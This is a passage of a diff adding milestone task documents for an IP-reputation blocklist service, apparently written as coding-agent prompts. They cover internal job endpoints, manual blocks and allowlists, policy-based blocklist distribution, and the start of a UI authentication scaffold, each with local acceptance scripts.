+- `GET  /internal/jobs/status` — returns latest `job_runs` per known job, lock state, `overdue: bool`, computed against `defaultIntervalSeconds`.
+
+Response envelope (POST endpoints):
+```json
+{"job":"recompute-scores","status":"success","items_processed":1284,"duration_ms":8421,"run_id":42}
+```
+Statuses: `success`, `failure`, `skipped_locked`. `failure` returns HTTP 500. `skipped_locked` returns HTTP 409. Both still write a `job_runs` row and return the envelope.
+
+### 6. Middlewares
+
+In `api/src/Infrastructure/Http/Middleware/`:
+
+- `InternalNetworkMiddleware.php` — checks `$_SERVER['REMOTE_ADDR']` against the CIDR list `127.0.0.1/32, ::1/128, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16`. Reject with `404` (NOT 403 — be opaque about the existence of these endpoints to outsiders). Use `IpAddress` and `Cidr` from M02 for parsing.
+- `InternalTokenMiddleware.php` — checks `Authorization: Bearer <INTERNAL_JOB_TOKEN>` (`hash_equals`). Reject with `401` if mismatch.
+
+Apply both to all `/internal/*` routes. Order: network → token. (If network fails, don't even acknowledge the auth attempt.)
+
+Also confirm the Caddyfile (from M01) actually applies the network restriction for defense in depth — Caddy returns 404 for non-RFC1918 sources. The PHP middleware is belt-and-suspenders.
+
+### 7. CLI
+
+Extend `api/bin/console`:
+- `jobs:run <name> [--full]` — invokes `JobRunner::run()` directly. Useful for dev/debugging without HTTP.
+- `jobs:status` — prints the same data as `GET /internal/jobs/status`.
+- `scores:rebuild` — convenience alias for `jobs:run recompute-scores --full`.
+
+## Implementation notes
+
+- **Concurrency**: lock acquire+release must survive process crash. The `expires_at` reclaim handles crashed processes; pick `expires_at = now + maxRuntimeSeconds + 30s buffer`.
+- **Long-running jobs in HTTP**: FrankenPHP's worker mode has a per-request timeout. Configure `max_execution_time` to be longer than your longest `maxRuntimeSeconds` for `/internal/jobs/*` routes. Keep public/admin routes at the default lower timeout.
+- **DB perf**: incremental recompute should batch by reading all touched pair-keys first, then iterating. Avoid N+1 queries — fetch all relevant `reports` for a batch of pairs in one IN-list query.
+- **Drop-stale rule**: be careful — score < 0.01 AND `last_report_at` ≥ 90 days old. Don't drop pairs with recent reports just because their score dropped temporarily (shouldn't happen with correct math, but defensive).
+- **Tests**: Three critical scenarios:
+  1. Decay over time. Inject `Clock` to advance; verify scores fall predictably.
+  2. Lock contention. Two concurrent `RecomputeScoresJob` runs (use a barrier in tests). Exactly one `success`, one `skipped_locked`.
+  3. Tick dispatcher invokes only what's due. Set up `job_runs` history; verify only the right jobs run.
+- **Network middleware tests**: integration tests bind to `127.0.0.1` so they should pass naturally; add a unit test that constructs a request with a public IP via `REMOTE_ADDR` mock and asserts 404.
+
+## Out of scope (DO NOT)
+
+- Audit log emission (M12). The cleanup job runs but the table will mostly be empty.
+- GeoIP enrichment logic (M11). The skeleton job no-ops.
+- Allowlist / manual block evaluation (M06). Recompute only updates `ip_scores`; final blocklist filtering is M07.
+- Distribution endpoint (M07).
+- UI changes.
+- Calling `/internal/jobs/*` from the UI directly (UI uses the admin job-trigger wrapper added in M12).
+- New dependencies.
+
+## Acceptance
+
+```bash
+cd api && composer cs && composer stan && composer test && cd ..
+
+docker compose down -v
+cp .env.example .env
+docker compose up -d
+sleep 15
+
+ADMIN_TOKEN=$(docker compose exec -T api php bin/console auth:create-token --kind=admin --role=admin --quiet)
+INTERNAL_TOKEN=$(grep ^INTERNAL_JOB_TOKEN= .env | cut -d= -f2)
+
+# Internal endpoint requires the internal token
+test "$(curl -s -o /dev/null -w '%{http_code}' -X POST http://localhost:8081/internal/jobs/tick)" = "401"
+test "$(curl -s -o /dev/null -w '%{http_code}' \
+  -H "Authorization: Bearer wrong" \
+  -X POST http://localhost:8081/internal/jobs/tick)" = "401"
+
+# tick succeeds
+RESP=$(curl -s -X POST -H "Authorization: Bearer $INTERNAL_TOKEN" \
+  http://localhost:8081/internal/jobs/tick)
+echo "$RESP" | grep -q '"job":"tick"'
+
+# recompute-scores runs
+RESP=$(curl -s -X POST -H "Authorization: Bearer $INTERNAL_TOKEN" \
+  http://localhost:8081/internal/jobs/recompute-scores)
+echo "$RESP" | grep -q '"status":"success"'
+
+# Concurrent calls: exactly one success + one skipped_locked
+RESP1_FILE=$(mktemp); RESP2_FILE=$(mktemp)
+curl -s -X POST -H "Authorization: Bearer $INTERNAL_TOKEN" \
+  -d '{"full":true}' http://localhost:8081/internal/jobs/recompute-scores > $RESP1_FILE &
+curl -s -X POST -H "Authorization: Bearer $INTERNAL_TOKEN" \
+  -d '{"full":true}' http://localhost:8081/internal/jobs/recompute-scores > $RESP2_FILE &
+wait
+STATUSES=$(cat $RESP1_FILE $RESP2_FILE | grep -oE '"status":"[a-z_]+"' | sort)
+echo "$STATUSES" | grep -q '"status":"success"'
+echo "$STATUSES" | grep -q '"status":"skipped_locked"'
+
+# /internal/jobs/status returns per-job state
+curl -s -H "Authorization: Bearer $INTERNAL_TOKEN" \
+  http://localhost:8081/internal/jobs/status | grep -q '"recompute-scores"'
+
+# Decay over time: insert old reports, recompute, expect lower scores than fresh
+# (use the CLI scores:rebuild and inspect ip_scores; this is the trickiest acceptance step)
+docker compose exec -T api php bin/console scores:rebuild
+docker compose exec -T api sqlite3 /data/irdb.sqlite "SELECT COUNT(*) FROM ip_scores;"
+
+docker compose down -v
+```
+
+Add a focused integration test in PHP that clocks-forward 30 days between reports and asserts a known score with an exponential half-life of 14 days.
+
+## Handoff
+
+1. Commit:
+   ```
+   feat(M05): reputation engine + internal jobs framework
+
+   - Job interface, JobLockRepository (atomic acquire), JobRunner, JobRegistry
+   - RecomputeScoresJob (full + incremental), CleanupAuditJob, EnrichPendingJob (skeleton)
+   - tick dispatcher; /internal/jobs/{recompute-scores,cleanup-audit,enrich-pending,tick,status}
+   - InternalNetworkMiddleware + InternalTokenMiddleware (network-bound + token)
+   - CLI: jobs:run, jobs:status, scores:rebuild
+   ```
+
+2. Append to `PROGRESS.md`:
+   ```markdown
+   ## M05 — Reputation engine & jobs (done)
+
+   **Built:** decay math, bulk recompute (incremental + full), job framework with locks, /internal/jobs/*.
+
+   **Notes for next milestone:**
+   - PairScorer (from M04) is reused by RecomputeScoresJob; both produce identical scores for the same pair.
+   - EnrichPendingJob is a skeleton — M11 fills it in.
+   - refresh-geoip endpoint returns 412 — M11 wires it up.
+   - Job results are returned synchronously; long jobs may exceed default request timeout. /internal/* routes have an extended timeout configured.
+   - Drop rule: score < 0.01 AND last_report_at older than 90 days.
+
+   **Deviations from SPEC:** none.
+   **Added dependencies:** none.
+   ```
+
+3. **Stop.** Do not start M06.

+ 199 - 0
doc/development/files/M06-manual-blocks-allowlist.md

@@ -0,0 +1,199 @@
+# M06 — Manual Blocks, Allowlist, Subnets
+
+> Fresh Claude Code agent prompt. M05 must be complete and committed.
+> Estimated effort: small to medium.
+
+## Mission
+
+Implement admin endpoints for manual blocks (single IPs and CIDR subnets) and the allowlist. Build the in-memory CIDR containment evaluator that the distribution endpoint will use in M07. **Allowlist always wins.**
+
+## Before you start
+
+1. Verify M05:
+   ```bash
+   git log --oneline -5
+   cd api && composer test && composer stan && cd ..
+   ```
+2. Read `SPEC.md` §4 (`manual_blocks`, `allowlist` tables), §5 ("Manual override semantics" — allowlist precedence, distribution-time evaluation), §6 (Admin API endpoints for these).
+3. Confirm clean tree.
+
+## Tasks
+
+### 1. Repositories
+
+In `api/src/Infrastructure/Db/`:
+
+- `ManualBlockRepository.php`:
+  - `list(?int $limit, ?int $offset, array $filters): array<ManualBlock>`
+  - `findById(int): ?ManualBlock`
+  - `create(ManualBlock): ManualBlock`
+  - `delete(int): void`
+  - `findExpired(DateTimeImmutable $now): array<int>` — returns ids of expired entries (used by a future cleanup job; skip the job itself for now, just have the query).
+- `AllowlistRepository.php` — same shape, no `expires_at`.
+
+`ManualBlock` value object: `id`, `kind` (`ip` | `subnet`), `ipBin?`, `networkBin?`, `prefixLength?`, `reason`, `expiresAt?`, `createdAt`, `createdByUserId?`.
+`AllowlistEntry` value object: like above, no `expiresAt`.
+
+Validation rules (enforced in service layer):
+- `kind=ip` requires `ip` and forbids `network`/`prefix_length`.
+- `kind=subnet` requires `network` (CIDR string) and computes `network_bin` + `prefix_length`. Reject if the address part doesn't match the prefix (i.e., reject `203.0.113.5/24` — accept only the canonical network address `203.0.113.0/24`). Or normalize automatically; pick one and document. **Recommended: normalize automatically and warn in the response if the input wasn't canonical.**
+
+### 2. Domain service: containment evaluator
+
+In `api/src/Domain/Reputation/CidrEvaluator.php`:
+
+- Loaded with the current set of `manual_blocks` (subnet kind only) and `allowlist` (subnet kind only) on construction.
+- Methods:
+  - `isAllowlisted(IpAddress $ip): bool` — checks both single-IP allowlist entries and subnet entries.
+  - `isManuallyBlocked(IpAddress $ip): bool` — same, for manual_blocks.
+  - `manualBlockedSubnets(): array<Cidr>` — for the distribution endpoint to emit as CIDR lines.
+  - `allowlistedSubnets(): array<Cidr>` — exposed for diagnostics.
+- Implementation: subnet entries are stored as `[networkBin, prefixLength]` pairs. Containment check is a bitwise prefix match — implement as a small helper using PHP's binary string ops. For up to ~10k entries this is fine in PHP; document the limit.
+
+In `api/src/Infrastructure/Reputation/CidrEvaluatorFactory.php`:
+
+- Builds the evaluator from the current DB state.
+- Caches in-process for `CIDR_EVALUATOR_TTL_SECONDS` (default 60s) — gives a near-realtime view without hammering the DB on every blocklist request.
+- Provides `invalidate()` — called from the manual-block / allowlist mutation endpoints so changes are visible immediately.
+
+### 3. Admin endpoints
+
+In `api/src/Application/Admin/`:
+
+- `ManualBlocksController.php`:
+  - `GET    /api/v1/admin/manual-blocks` — list, paginated, filterable by kind.
+  - `GET    /api/v1/admin/manual-blocks/{id}` — detail.
+  - `POST   /api/v1/admin/manual-blocks` — body for IP: `{kind:"ip", ip, reason, expires_at?}`. Body for subnet: `{kind:"subnet", cidr, reason, expires_at?}`.
+  - `DELETE /api/v1/admin/manual-blocks/{id}`
+  - RBAC: `Operator` for create/delete, `Viewer` for list/get.
+- `AllowlistController.php` — analogous, no `expires_at` field.
+
+After any successful POST or DELETE, call `CidrEvaluatorFactory::invalidate()`.
+
+Both v4 and v6 must work end-to-end. Test:
+- IP `203.0.113.42`, subnet `203.0.113.0/24`.
+- IP `2001:db8::1`, subnet `2001:db8::/32`.
+- IPv4-mapped-v6 quirks: `::ffff:203.0.113.42` should round-trip cleanly.
+
+### 4. Effective-status helper
+
+In `api/src/Domain/Reputation/EffectiveStatusService.php`:
+
+- `forIp(IpAddress $ip): EffectiveStatus` — returns one of: `allowlisted`, `manually_blocked`, `scored`, `clean`. Used by the upcoming admin "ip detail" endpoint and the distribution endpoint.
+- Resolution order: allowlisted (any match) → manually blocked (any match) → has scores above any policy threshold (M07 will use this) → clean.
+
+For now this milestone implements only the `allowlisted` and `manually_blocked` checks. Score-vs-policy comes in M07.
+
+## Implementation notes
+
+- **Allowlist precedence**: when an IP matches BOTH the allowlist AND a manual block, allowlist wins. Log a `WARNING` level entry: "IP X is on both allowlist and manual block list; allowlist takes precedence". Don't reject the configuration — admins are allowed to do this, it's just suspicious.
+- **CIDR canonicalization**: `203.0.113.5/24` and `203.0.113.0/24` should be treated as the same network. Pick one of: (a) reject non-canonical with 400, (b) silently canonicalize, (c) canonicalize and include a `normalized_from` field in the response. Recommended (c).
+- **Performance**: linear scan over subnet lists is fine for this milestone. If the user has 100k subnets we have bigger problems. Don't over-engineer with tries / radix trees.
+- **Cache invalidation**: the in-process cache is per-replica. With multi-replica deployments, invalidation in one replica doesn't hit others, so they may serve stale evaluator state for up to TTL seconds. Acceptable for this milestone; document.
+- **Tests**:
+  - Both v4 and v6 paths.
+  - An IP inside an allowlisted /24 with high reputation score (we can simulate a high score in the DB) is `allowlisted` not `manually_blocked` not `scored`.
+  - A /16 manual block produces a single CIDR entry in evaluator's `manualBlockedSubnets()`.
+  - Removing a manual block via DELETE actually drops it from the evaluator.
+
+## Out of scope (DO NOT)
+
+- Distribution endpoint (`/api/v1/blocklist`) — M07.
+- Policy-vs-score evaluation — M07.
+- UI changes.
+- Automatic subnet aggregation. Per SPEC §15, manual only. Don't infer subnets from many bad IPs.
+- Background job for expiring manual blocks. The data model has `expires_at` and the repository has the query, but the cleanup job itself is not required this milestone.
+- Audit emission — M12.
+- New dependencies.
+
+## Acceptance
+
+```bash
+cd api && composer cs && composer stan && composer test && cd ..
+
+docker compose down -v
+cp .env.example .env
+docker compose up -d
+sleep 15
+
+ADMIN_TOKEN=$(docker compose exec -T api php bin/console auth:create-token --kind=admin --role=admin --quiet)
+
+# Create a single-IP manual block
+curl -s -X POST -H "Authorization: Bearer $ADMIN_TOKEN" -H "Content-Type: application/json" \
+  -d '{"kind":"ip","ip":"198.51.100.5","reason":"manual block test"}' \
+  http://localhost:8081/api/v1/admin/manual-blocks | grep -q '"id"'
+
+# Create a subnet manual block (canonical)
+curl -s -X POST -H "Authorization: Bearer $ADMIN_TOKEN" -H "Content-Type: application/json" \
+  -d '{"kind":"subnet","cidr":"198.51.100.0/24","reason":"subnet block"}' \
+  http://localhost:8081/api/v1/admin/manual-blocks | grep -q '"prefix_length":24'
+
+# Create a subnet manual block (non-canonical → normalized in response)
+RESP=$(curl -s -X POST -H "Authorization: Bearer $ADMIN_TOKEN" -H "Content-Type: application/json" \
+  -d '{"kind":"subnet","cidr":"203.0.113.55/24","reason":"non canonical"}' \
+  http://localhost:8081/api/v1/admin/manual-blocks)
+echo "$RESP" | grep -q '"normalized_from":"203.0.113.55/24"'
+
+# IPv6 subnet
+curl -s -X POST -H "Authorization: Bearer $ADMIN_TOKEN" -H "Content-Type: application/json" \
+  -d '{"kind":"subnet","cidr":"2001:db8::/32","reason":"v6 test"}' \
+  http://localhost:8081/api/v1/admin/manual-blocks | grep -q '"prefix_length":32'
+
+# Allowlist for a known monitoring IP
+curl -s -X POST -H "Authorization: Bearer $ADMIN_TOKEN" -H "Content-Type: application/json" \
+  -d '{"kind":"ip","ip":"198.51.100.5","reason":"my monitor"}' \
+  http://localhost:8081/api/v1/admin/allowlist | grep -q '"id"'
+
+# Allowlist a subnet
+curl -s -X POST -H "Authorization: Bearer $ADMIN_TOKEN" -H "Content-Type: application/json" \
+  -d '{"kind":"subnet","cidr":"10.0.0.0/8","reason":"private space"}' \
+  http://localhost:8081/api/v1/admin/allowlist | grep -q '"id"'
+
+# Check log warns about overlap (allowlist + manual block on 198.51.100.5)
+docker compose logs api 2>&1 | grep -q "allowlist takes precedence"
+
+# Listing returns entries
+curl -s -H "Authorization: Bearer $ADMIN_TOKEN" \
+  http://localhost:8081/api/v1/admin/manual-blocks | grep -q '"items"'
+
+# Operator can mutate, Viewer cannot
+VIEWER_TOKEN=$(docker compose exec -T api php bin/console auth:create-token --kind=admin --role=viewer --quiet)
+test "$(curl -s -o /dev/null -w '%{http_code}' \
+  -X POST -H "Authorization: Bearer $VIEWER_TOKEN" -H "Content-Type: application/json" \
+  -d '{"kind":"ip","ip":"1.2.3.4","reason":"x"}' \
+  http://localhost:8081/api/v1/admin/manual-blocks)" = "403"
+
+docker compose down -v
+```
+
+Plus PHPUnit tests covering the CidrEvaluator (containment math) and the EffectiveStatusService (precedence rules).
+
+## Handoff
+
+1. Commit:
+   ```
+   feat(M06): manual blocks, allowlist, CIDR evaluator
+
+   - admin endpoints for manual_blocks and allowlist (IP and CIDR, v4 + v6)
+   - non-canonical CIDR input auto-normalized; response includes normalized_from
+   - in-process CidrEvaluator with 60s cache + invalidation on writes
+   - EffectiveStatusService skeleton (allowlist + manual; score+policy lands in M07)
+   - allowlist always wins; warning logged on overlap with manual blocks
+   ```
+
+2. Append to `PROGRESS.md`:
+   ```markdown
+   ## M06 — Manual blocks, allowlist (done)
+
+   **Built:** CRUD for manual_blocks and allowlist; CidrEvaluator with cache; EffectiveStatusService (partial).
+
+   **Notes for next milestone:**
+   - M07 wires CidrEvaluator into the distribution endpoint and finishes EffectiveStatusService with policy evaluation.
+   - Cache TTL is 60s; mutation endpoints invalidate explicitly. Multi-replica deployments will see up to 60s of staleness across replicas — documented.
+   - Manual block expiration cleanup job is NOT implemented; the data model supports it, the repository has findExpired, but no job runs. Add in M14 hardening if desired, or leave as known limitation.
+
+   **Deviations from SPEC:** none.
+   **Added dependencies:** none.
+   ```
+
+3. **Stop.** Do not start M07.

+ 206 - 0
doc/development/files/M07-policies-and-distribution.md

@@ -0,0 +1,206 @@
+# M07 — Policies & Distribution API
+
+> Fresh Claude Code agent prompt. M06 must be complete and committed.
+> Estimated effort: medium.
+
+## Mission
+
+Implement policy CRUD, the policy-vs-score evaluator, the public `GET /api/v1/blocklist` endpoint with caching/ETag/text-and-JSON formats, and a per-policy preview endpoint for the UI. By the end, three different policies produce three different blocklists from identical underlying data, and the endpoint serves 50k entries in <500 ms.
+
+## Before you start
+
+1. Verify M06:
+   ```bash
+   git log --oneline -6
+   cd api && composer test && composer stan && cd ..
+   ```
+2. Read `SPEC.md` §4 (`policies`, `policy_category_thresholds`), §5 (output rule for an IP appearing on a policy's blocklist), §6 (Public API: `/api/v1/blocklist`; Admin API: policies + preview).
+3. Confirm the seed policies from M02 exist with sensible thresholds.
+
+## Tasks
+
+### 1. Policy domain
+
+In `api/src/Domain/Policy/`:
+
+- `Policy.php` — value object: `id`, `name`, `description`, `includeManualBlocks`, `thresholds: array<int, float>` (categoryId => threshold).
+- `PolicyEvaluator.php`:
+  - Constructor takes a `Policy` and the current `CidrEvaluator` from M06.
+  - `evaluate(IpAddress $ip, array $scoresByCategory): EvaluationResult` — returns one of: `EXCLUDED_BY_ALLOWLIST`, `INCLUDED_BY_MANUAL_BLOCK`, `INCLUDED_BY_SCORE` (with the matching categories), or `EXCLUDED`.
+  - The score-side rule: an IP is included if **any** category in the policy meets its threshold. `policy_category_thresholds` rows define inclusion; absent rows mean "this category is ignored by this policy."
+
+In `api/src/Infrastructure/Db/PolicyRepository.php`:
+
+- CRUD over `policies` and `policy_category_thresholds` (the join is small; load thresholds eagerly with each policy).
+- `byName(string): ?Policy`, `byId(int): ?Policy`.
+- Concurrent threshold updates: replace all thresholds for a policy in a single transaction.
+
+### 2. Admin endpoints
+
+In `api/src/Application/Admin/PoliciesController.php`:
+
+- `GET    /api/v1/admin/policies`
+- `GET    /api/v1/admin/policies/{id}` — includes thresholds.
+- `POST   /api/v1/admin/policies` — body `{name, description, include_manual_blocks, thresholds: {<category_slug>: <number>}}`.
+- `PATCH  /api/v1/admin/policies/{id}` — same body shape; replaces thresholds wholesale.
+- `DELETE /api/v1/admin/policies/{id}` — refuse if any consumer references this policy (409 with `{"error":"policy_in_use","consumers":[...]}`); cascade is wrong here.
+- `GET    /api/v1/admin/policies/{id}/preview` — returns `{count: int, sample: [string], generated_at}`. Sample = first 50 entries. Same calculation as the distribution endpoint.
+
+RBAC: `Admin` for write, `Viewer` for read.
+
+### 3. Distribution endpoint
+
+In `api/src/Application/Public/BlocklistController.php`:
+
+- `GET /api/v1/blocklist` — token must be `kind=consumer`. Resolves the consumer's policy, evaluates, returns the blocklist.
+- Output formats:
+  - Default: `text/plain`. One entry per line. No comments. Lines are bare IPs (`203.0.113.42`, `2001:db8::1`) or CIDRs (`203.0.113.0/24`, `2001:db8::/32`).
+  - `?format=json`: JSON array of `{ip_or_cidr, categories: [string], score: number|null, reason: "scored"|"manual"}`. Allowlisted IPs never appear in either format.
+- Headers (both formats):
+  - `ETag`: SHA-256 hex of the response body. Honor `If-None-Match` → `304` with empty body.
+  - `X-Blocklist-Generated-At`: ISO 8601.
+  - `X-Blocklist-Entries`: count.
+  - `X-Blocklist-Policy`: policy name.
+- Caching: 30-second per-policy in-memory cache (key: `policyId`). Cache invalidation triggers: any mutation to `policies`, `policy_category_thresholds`, `manual_blocks`, `allowlist`, or a manual flag from M12's "rebuild scores" trigger. For simplicity now, just TTL — invalidation hooks into mutations come for free if you respect the same `CidrEvaluator` invalidation pattern from M06.
+
+### 4. Blocklist computation
+
+In `api/src/Domain/Reputation/BlocklistBuilder.php`:
+
+- `build(Policy $policy): Blocklist` — returns a list of entries with metadata.
+- Algorithm:
+  1. Read all `ip_scores` rows joined to categories where the score column meets at least one threshold for this policy. Single SQL query with a UNION across category thresholds, OR a simpler "select all, filter in PHP" if policy has few categories. Pick whichever is faster on a 50k-row dataset; benchmark.
+  2. Filter out IPs in the allowlist (`CidrEvaluator::isAllowlisted`).
+  3. If `include_manual_blocks`, append all manual block entries (single IPs and CIDRs), filtering allowlisted ones.
+  4. Deduplicate (an IP might be both scored and manually blocked).
+  5. Sort: IPv4 first, then IPv6; lexical within each. Stable order so the ETag is stable.
+- Returns entries with the exact representation needed for both formats.
+
+`Blocklist` value object: a list of `BlocklistEntry { ipOrCidr, isCidr, categories?, score?, reason }`.
+
+### 5. Performance
+
+Add a perf test in `api/tests/Integration/Perf/BlocklistPerfTest.php`:
+- Seed 50k `ip_scores` rows (mixed v4 and v6, varied scores) plus 100 manual subnet blocks.
+- Time the blocklist build for the `paranoid` policy.
+- Assert <500 ms wall-clock.
+- Skip in default test runs (mark `@group perf`); run in CI as a separate job.
+
+If you can't hit 500 ms, the bottleneck is almost certainly the SQL query. Options:
+- Add a covering index on `ip_scores(category_id, score DESC)` so threshold-filter scans are cheap.
+- Pre-aggregate per-IP "max score across all categories" into a derived column in `ip_scores` (mild denormalization). Out of scope unless 500ms is unreachable; document if you take this route.
+
+## Implementation notes
+
+- **Cache vs eviction**: per-policy 30s cache key by `policy_id`. Memory bound: if a deployment has 100 policies × 50k entries × ~50 bytes each, that's ~250 MB. Acceptable for default; flag in PROGRESS.md as a known footprint.
+- **JSON format**: keep it small. Don't include audit/timestamp fields per entry; that's what the admin API is for.
+- **Empty blocklist**: 200 with empty body in text mode, `[]` in JSON. Still emit ETag.
+- **ETag stability**: the ETag must depend only on the data, not on time. Don't include `generated_at` in the body.
+- **`If-None-Match`**: parse standard format including weak validators (`W/"..."`). Strict comparison on the strong hash is fine.
+- **Deduplication subtlety**: if an IP is in `ip_scores` AND inside a manually blocked /24, you have two ways to include it (single + subnet). Prefer the broader one (the /24 subnet entry covers the IP); drop the single entry to keep the list compact.
+- **Subnet expansion**: never expand a /16 to 65k entries. Emit as CIDR.
+
+## Out of scope (DO NOT)
+
+- UI changes — M08 onward.
+- Audit emission — M12.
+- Format generators for specific firewalls (iptables, nginx, HAProxy). The `text/plain` output is universal; per-firewall transformation is a client-side concern, with examples shipped in M13's `examples/consumers/`.
+- Compression (gzip) — let FrankenPHP/Caddy handle it via standard headers if needed; don't roll your own.
+- Streaming responses — buffered text response is fine at 50k entries.
+- New dependencies.
+
+## Acceptance
+
+```bash
+cd api && composer cs && composer stan && composer test && cd ..
+cd api && vendor/bin/phpunit --group perf && cd ..
+
+docker compose down -v
+cp .env.example .env
+docker compose up -d
+sleep 15
+
+ADMIN_TOKEN=$(docker compose exec -T api php bin/console auth:create-token --kind=admin --role=admin --quiet)
+
+# Create a consumer + token (requires a policy_id; use the seeded "moderate")
+POLICY_ID=$(curl -s -H "Authorization: Bearer $ADMIN_TOKEN" \
+  http://localhost:8081/api/v1/admin/policies \
+  | php -r '$j=json_decode(stream_get_contents(STDIN),true); foreach($j["items"] as $p){if($p["name"]==="moderate"){echo $p["id"];break;}}')
+CONSUMER=$(curl -s -X POST -H "Authorization: Bearer $ADMIN_TOKEN" -H "Content-Type: application/json" \
+  -d "{\"name\":\"firewall-1\",\"description\":\"edge\",\"policy_id\":$POLICY_ID}" \
+  http://localhost:8081/api/v1/admin/consumers)
+CONSUMER_ID=$(echo "$CONSUMER" | php -r 'echo json_decode(stream_get_contents(STDIN),true)["id"];')
+TOKEN_RESP=$(curl -s -X POST -H "Authorization: Bearer $ADMIN_TOKEN" -H "Content-Type: application/json" \
+  -d "{\"kind\":\"consumer\",\"consumer_id\":$CONSUMER_ID}" \
+  http://localhost:8081/api/v1/admin/tokens)
+CONSUMER_TOKEN=$(echo "$TOKEN_RESP" | php -r 'echo json_decode(stream_get_contents(STDIN),true)["raw_token"];')
+
+# Empty blocklist initially
+curl -s -H "Authorization: Bearer $CONSUMER_TOKEN" http://localhost:8081/api/v1/blocklist
+# -> empty body, 200
+
+# Insert a manual block; blocklist now contains it
+curl -s -X POST -H "Authorization: Bearer $ADMIN_TOKEN" -H "Content-Type: application/json" \
+  -d '{"kind":"subnet","cidr":"198.51.100.0/24","reason":"x"}' \
+  http://localhost:8081/api/v1/admin/manual-blocks > /dev/null
+sleep 1
+curl -s -H "Authorization: Bearer $CONSUMER_TOKEN" http://localhost:8081/api/v1/blocklist | grep -q "198.51.100.0/24"
+
+# JSON format
+curl -s -H "Authorization: Bearer $CONSUMER_TOKEN" \
+  "http://localhost:8081/api/v1/blocklist?format=json" | grep -q '"reason":"manual"'
+
+# ETag round-trip
+ETAG=$(curl -s -D - -H "Authorization: Bearer $CONSUMER_TOKEN" \
+  http://localhost:8081/api/v1/blocklist -o /dev/null | grep -i '^etag:' | cut -d' ' -f2 | tr -d '\r')
+test "$(curl -s -o /dev/null -w '%{http_code}' -H "Authorization: Bearer $CONSUMER_TOKEN" \
+  -H "If-None-Match: $ETAG" http://localhost:8081/api/v1/blocklist)" = "304"
+
+# Three policies, three different counts after seeding scored data
+# (Seed at least one IP with a high enough score that paranoid catches it but strict doesn't.)
+# Detailed seeding handled by an integration test; here just verify the preview endpoint differs:
+for P in strict moderate paranoid; do
+  PID=$(curl -s -H "Authorization: Bearer $ADMIN_TOKEN" http://localhost:8081/api/v1/admin/policies \
+    | php -r "\$j=json_decode(stream_get_contents(STDIN),true); foreach(\$j['items'] as \$p){if(\$p['name']==='$P'){echo \$p['id'];break;}}")
+  curl -s -H "Authorization: Bearer $ADMIN_TOKEN" \
+    http://localhost:8081/api/v1/admin/policies/$PID/preview
+  echo
+done
+
+# Token wrong kind: admin can't pull blocklist
+test "$(curl -s -o /dev/null -w '%{http_code}' -H "Authorization: Bearer $ADMIN_TOKEN" \
+  http://localhost:8081/api/v1/blocklist)" = "401"
+
+docker compose down -v
+```
+
+## Handoff
+
+1. Commit:
+   ```
+   feat(M07): policies, blocklist distribution endpoint
+
+   - policy CRUD with thresholds (replaces wholesale on PATCH)
+   - GET /api/v1/blocklist (text + json), ETag with If-None-Match round-trip
+   - per-policy 30s cache, invalidated on relevant mutations
+   - BlocklistBuilder with allowlist filtering and manual-block dedup
+   - perf test: 50k entries < 500ms (sqlite)
+   ```
+
+2. Append to `PROGRESS.md`:
+   ```markdown
+   ## M07 — Policies & distribution (done)
+
+   **Built:** policy CRUD, blocklist endpoint, preview endpoint, ETag, perf-tested at 50k entries.
+
+   **Notes for next milestone:**
+   - Per-policy cache TTL = 30s. Mutation endpoints invalidate the cache for affected policies.
+   - The text/plain format is universal; firewall-specific consumers transform on their side. Examples land in M13.
+   - DELETE on a policy with consumers returns 409 with the consumer list.
+   - Performance: SQLite hits the 500ms target with [add measured number]. MySQL [add measured number].
+
+   **Deviations from SPEC:** [list any, e.g. additional index added]
+   **Added dependencies:** none.
+   ```
+
+3. **Stop.** Do not start M08.

+ 262 - 0
doc/development/files/M08-ui-scaffold-and-auth.md

@@ -0,0 +1,262 @@
+# M08 — UI Scaffold & Auth Flows
+
+> Fresh Claude Code agent prompt. M07 must be complete and committed.
+> Estimated effort: large. This milestone establishes the entire UI baseline.
+
+## Mission
+
+Build the `ui` container's foundation: Slim app, base layout (Tailwind + dark mode + sidebar/topnav), session manager, CSRF middleware, ApiClient with retry, OIDC redirect/callback flow, local admin login form, logout. After this milestone, a user can sign in via OIDC against a test tenant or as local admin, and a `/app/me` page renders showing the user's identity. **Page content beyond `/app/me` lands in M09.**
+
+## Before you start
+
+1. Verify M07:
+   ```bash
+   git log --oneline -7
+   cd api && composer test && composer stan && cd ..
+   cd ui && composer test && composer stan && cd ..
+   ```
+2. Read `SPEC.md` §2 (UI tech stack), §6 (Auth API endpoints — `/api/v1/auth/users/upsert-{oidc,local}`, `/api/v1/admin/me`), §7 (UI Container — full section, especially "Identity resolution flow"), §8 (Authentication — UI-side parts).
+3. Set up an Entra test tenant or use a workforce/personal account if you can. Document the setup steps you used in `doc/oidc.md` (this is allowed even though M13 owns most docs — auth setup is a prerequisite for testing this milestone).
+
+## Tasks
+
+### 1. Base UI infrastructure
+
+In `ui/src/App/`:
+- `Bootstrap.php` — boots Slim, registers middlewares, registers routes.
+- `Container.php` — DI bindings. Bind a `GuzzleHttp\Client` configured with `API_BASE_URL` and 5s default timeout.
+- `Routes.php` — declared routes; auth-required routes mounted under `/app/*`.
+
+In `ui/src/Http/`:
+- `JsonExceptionHandler.php` — catches uncaught exceptions, renders a friendly Twig error page (not raw JSON; this is a UI), logs the full exception. Distinguish 4xx vs 5xx in the rendered template.
+- `CsrfMiddleware.php` — generates a per-session CSRF token, validates on POST/PUT/PATCH/DELETE, exposes the token to Twig via a global. Use a constant-time compare.
+- `FlashMessageMiddleware.php` — pulls flash messages from session and exposes to Twig.
+
+### 2. Session management
+
+In `ui/src/Auth/`:
+- `SessionManager.php` — wraps PHP native sessions. Methods: `startSession()`, `setUser(int $userId, string $displayName, string $role, ?string $email)`, `getUser(): ?UserContext`, `clear()`, `regenerateId()` (call after auth success).
+- `UserContext.php` — value object with the cached fields.
+- Sessions: file-based, inside the container. Cookie: name `irdb_session`, `HttpOnly`, `SameSite=Lax`, `Secure` when `APP_ENV=production`.
+- Session lifetime: 8 hours of inactivity; absolute max 24 hours.
+
+### 3. ApiClient
+
+In `ui/src/ApiClient/`:
+- `ApiClient.php` — wraps Guzzle. Auto-attaches:
+  - `Authorization: Bearer <UI_SERVICE_TOKEN>`.
+  - `X-Acting-User-Id: <session.user_id>` if a user is in the session.
+  - `Accept: application/json`.
+  - User agent: `irdb-ui/<version>`.
+- Automatic retry (1 retry on connection errors and 5xx; no retry on 4xx).
